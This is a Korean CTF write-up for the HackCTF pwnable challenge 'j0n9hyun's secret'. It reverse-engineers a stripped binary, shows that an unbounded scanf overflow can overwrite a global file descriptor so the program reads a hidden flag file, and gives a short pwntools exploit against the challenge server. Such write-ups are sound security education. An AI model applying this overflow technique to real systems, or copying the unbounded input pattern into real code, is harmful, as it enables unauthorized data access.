tmxklab
[HackCTF/Pwnable] j0n9hyun's secret 본문
1. 문제
nc ctf.j0n9hyun.xyz 3031
1) mitigation 확인
- stripped된 파일이라 함수들에 대한 심볼 정보가 없다.
- main함수를 직접 찾아야 한다. (start() → __libc_start_main() → main())
2) 문제 확인
- 실행하여 이름을 입력하면 종료되고 flag, top_secret파일이 생성된다.
- 안에 아무 내용도 없다..
3) 코드 흐름 확인
3-1) main()
__int64 sub_4009C9()
{
int v0; // edx
int v2; // [rsp+Ch] [rbp-4h]
sub_40FDD0(off_6CA748, 0LL, 2LL, 0LL);
sub_40FDD0(off_6CA740, 0LL, 2LL, 0LL);
sub_40FDD0(off_6CA738, 0LL, 2LL, 0LL);
dword_6CCE98 = sub_43F670("top_secret", 114LL, v0);
sub_40F3D0((__int64)"input name: ");
sub_40F500((__int64)"%s", &unk_6CCD60);
v2 = sub_43F6D0((unsigned int)dword_6CCE98, &unk_6CCD6A, 300LL);
sub_43F730(1LL, &unk_6CCD6A, v2);
return 0LL;
}
- sub_40f3d0은 printf함수와 같이 출력하는 함수인 것 같고
- sub_40f500은 "%s"포맷 지정자랑 변수를 주는거 보니(그리고 아까 입력 값 받았음) scanf함수인 것 같다.
3-2) sub_43f670()
unsigned __int64 __fastcall sub_43F670(const char *a1, __int64 a2, int a3)
{
unsigned __int64 result; // rax
__int64 v4; // rax
int v5; // edx
unsigned __int64 v6; // rdx
if ( dword_6CD2FC )
{
v4 = sub_442B70();
sub_442BD0(v4, a2, sys_open(a1, a2, v5));
result = v6;
if ( v6 < 0xFFFFFFFFFFFFF001LL )
return result;
goto LABEL_5;
}
result = sys_open(a1, a2, a3);
if ( result >= 0xFFFFFFFFFFFFF001LL )
{
LABEL_5:
__writefsdword(0xFFFFFFD0, -(int)result);
result = -1LL;
}
return result;
}
- open함수로 추정된다. → sys_open
3-3) sub_43f6d0()
unsigned __int64 __fastcall sub_43F6D0(unsigned int a1, char *a2, size_t a3)
{
unsigned __int64 result; // rax
__int64 v4; // rax
size_t v5; // rdx
unsigned __int64 v6; // rdx
if ( dword_6CD2FC )
{
v4 = sub_442B70();
sub_442BD0(v4, a2, sys_read(a1, a2, v5));
result = v6;
if ( v6 < 0xFFFFFFFFFFFFF001LL )
return result;
goto LABEL_5;
}
result = sys_read(a1, a2, a3);
if ( result >= 0xFFFFFFFFFFFFF001LL )
{
LABEL_5:
__writefsdword(0xFFFFFFD0, -(int)result);
result = -1LL;
}
return result;
}
- read함수로 추정된다. → sys_read
3-4) sub_43f730()
unsigned __int64 __fastcall sub_43F730(unsigned int a1, const char *a2, size_t a3)
{
unsigned __int64 result; // rax
__int64 v4; // rax
size_t v5; // rdx
unsigned __int64 v6; // rdx
if ( dword_6CD2FC )
{
v4 = sub_442B70();
sub_442BD0(v4, a2, sys_write(a1, a2, v5));
result = v6;
if ( v6 < 0xFFFFFFFFFFFFF001LL )
return result;
goto LABEL_5;
}
result = sys_write(a1, a2, a3);
if ( result >= 0xFFFFFFFFFFFFF001LL )
{
LABEL_5:
__writefsdword(0xFFFFFFD0, -(int)result);
result = -1LL;
}
return result;
}
- write함수로 추정된다. → sys_write
보기좋게 변환해보자
main함수
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // edx
int len; // [rsp+Ch] [rbp-4h]
setvbuf(off_6CA748, 0LL, 2LL, 0LL);
setvbuf(off_6CA740, 0LL, 2LL, 0LL);
setvbuf(off_6CA738, 0LL, 2LL, 0LL);
fp = open("top_secret", 'r', v3);
printf((__int64)"input name: ");
scanf((__int64)"%s", &name);
len = read((unsigned int)fp, &buf_fp, 300LL);
write(1LL, &buf_fp, len);
return 0;
}
- top_secret파일을 열어서 fp포인터에 저장한다.
- name변수에 입력 값을 저장한다. → overflow발생
- buf_fp변수에 top_secret파일의 내용을 저장한다.(0x12cbytes만큼)
- buf_fp에 저장한 size만큼 화면에 출력한다.
전역변수)
- name : 0x6ccd60
- buf_fp : 0x6ccd6a
- fp : 0x6cce98
2. 접근방법
근데 이상함 top_secret파일이 생성되는 것는 알겟는데 왜 flag파일이 생성되는 것일까
ida로 확인
unsigned __int64 __fastcall sub_4009AE(__int64 a1, __int64 a2, int a3)
{
return open("flag", 'r', a3);
}
근데 메인함수 루틴에는 top_secret파일을 open하는 과정이 있는데 flag파일을 open하는 과정은 없다.
ida의 xref기능을 이용하여 어디서 sub_4009ae를 호출하는지 확인해보자 → sub_4009ae는 가독성이 없으니깐 flag함수로 이름을 변경하였다.
unsigned __int64 __fastcall init_proc(__int64 a1, __int64 a2, __int64 a3)
{
return flag(a1, a2, a3);
}
- init_proc()에서 flag함수를 호출한다.
unsigned __int64 __fastcall sub_401600(__int64 a1, __int64 a2, __int64 a3)
{
__int64 v3; // r13
__int64 v4; // rbx
signed __int64 v5; // r14
unsigned __int64 result; // rax
v3 = a3;
v4 = 0LL;
v5 = off_6C9EE8 - funcs_401638;
result = init_proc(a1, a2, a3);
if ( v5 )
{
do
result = ((__int64 (__fastcall *)(_QWORD, __int64, __int64))funcs_401638[v4++])((unsigned int)a1, a2, v3);
while ( v4 != v5 );
}
return result;
}
- sub_401600()에서 init_proc()를 호출한다.
// positive sp value has been detected, the output may be wrong!
void __usercall __noreturn start(__int64 a1@<rax>, __int64 a2@<rdx>)
{
unsigned int v2; // esi
unsigned int v3; // [rsp-8h] [rbp-8h]
__int64 _0; // [rsp+0h] [rbp+0h]
v2 = v3;
*(_QWORD *)&v3 = a1;
sub_400DB0(
(__int64 (__fastcall *)(_QWORD, __int64, __int64))main,
v2,
(__int64)&_0,
(void (__fastcall *)(_QWORD, __int64, __int64))sub_401600,
(__int64)sub_401690,
a2,
(__int64)&v3);
}
- start함수에서 sub_401600()를 호출한다.
- sub_400db0은 __libc_start_main()이므로 다시 고쳐주자
// positive sp value has been detected, the output may be wrong!
void __usercall __noreturn start(__int64 a1@<rax>, __int64 a2@<rdx>)
{
unsigned int v2; // esi
unsigned int v3; // [rsp-8h] [rbp-8h]
__int64 _0; // [rsp+0h] [rbp+0h]
v2 = v3;
*&v3 = a1;
_libc_start_main(main, v2, &_0, _libc_csu_init, _libc_csu_fini, a2, &v3);
}
최종적으로 start() → libc_start_main() → libc_csu_init → init_proc() → flag() 요런 식으로 호출되는 것 같다.
따라서, init작업을 하면서 flag파일을 open하고 main함수를 호출하여 top_secret파일을 open한다.
그럼 다시 돌아와서 메인 함수 루틴에서는 flag파일을 open하는 과정은 없지만 top_secret파일을 open하고 화면에 출력하는 과정만 존재하여 flag파일의 내용을 읽을 수 없다.
이번에는 디버깅을 통해 main함수의 top_secret파일을 open하는 부분을 살펴보자
- open(top_secret, "r")호출 전 상황이다.
- 확인해보면 top_secert파일을 읽고 파일 디스크립터 값이 0x4로 rax에 세팅되어 있다.
파일 디스크립터는 기본적으로 0(stdin), 1(stdout), 2(stderr)값이 미리 할당되고 이후에 open하게 되면 fd값은 0, 1, 2다음인 0x3을 할당받게 된다.
위에 top_secret파일 디스크립터 값은 0x4인 것으로보아 main함수 이전인 init작업 때 flag파일을 open하면서 0x3으로 먼저 세팅되어 다음 숫자인 0x4로 세팅된 것 같다.
따라서, 우리는 main함수의 read함수를 호출할 때 top_secret파일 디스크립터 값 0x4대신에 flag파일 디스크립터 값인 0x3을 건네줘야 한다.
top_secret파일 open이후에 scanf함수에서 name(전역변수)에 입력 값을 받을 때 overflow를 발생하는 것을 알고 있다. 이 점을 이용하여 name변수 밑에 fp(전역변수)값을 0x4대신에 0x3으로 덮으면 될 것이다.
3. 풀이
1) 검증
위 사실이 사실인지 로컬에서 임의로 flag파일과 top_secret파일을 생성하여 확인해보자(flag파일 내용 : FLAG, top_secret 파일 내용 : TOP_SECRET)
- 성공
2) 익스코드
from pwn import *
context.log_level = "debug"
#p = process("./secret")
p = remote("ctf.j0n9hyun.xyz", 3031)
payload = "A"*0x138
payload += p64(3)
p.sendlineafter("name: ", payload)
p.interactive()
3) 실행 결과
4. 몰랐던 개념
1) stripped된 파일에서 main함수 찾기
'War Game > HackCTF' 카테고리의 다른 글
[HackCTF/Pwnable] ChildHeap (0) | 2020.08.15 |
---|---|
[HackCTF/Pwnable] babyfsb (0) | 2020.08.15 |
[HackCTF/Pwnable] babyheap (0) | 2020.08.15 |
[HackCTF/Pwnable] Unexploitable #2 (0) | 2020.08.15 |
[HackCTF/Pwnable] 풍수지리설 (0) | 2020.08.15 |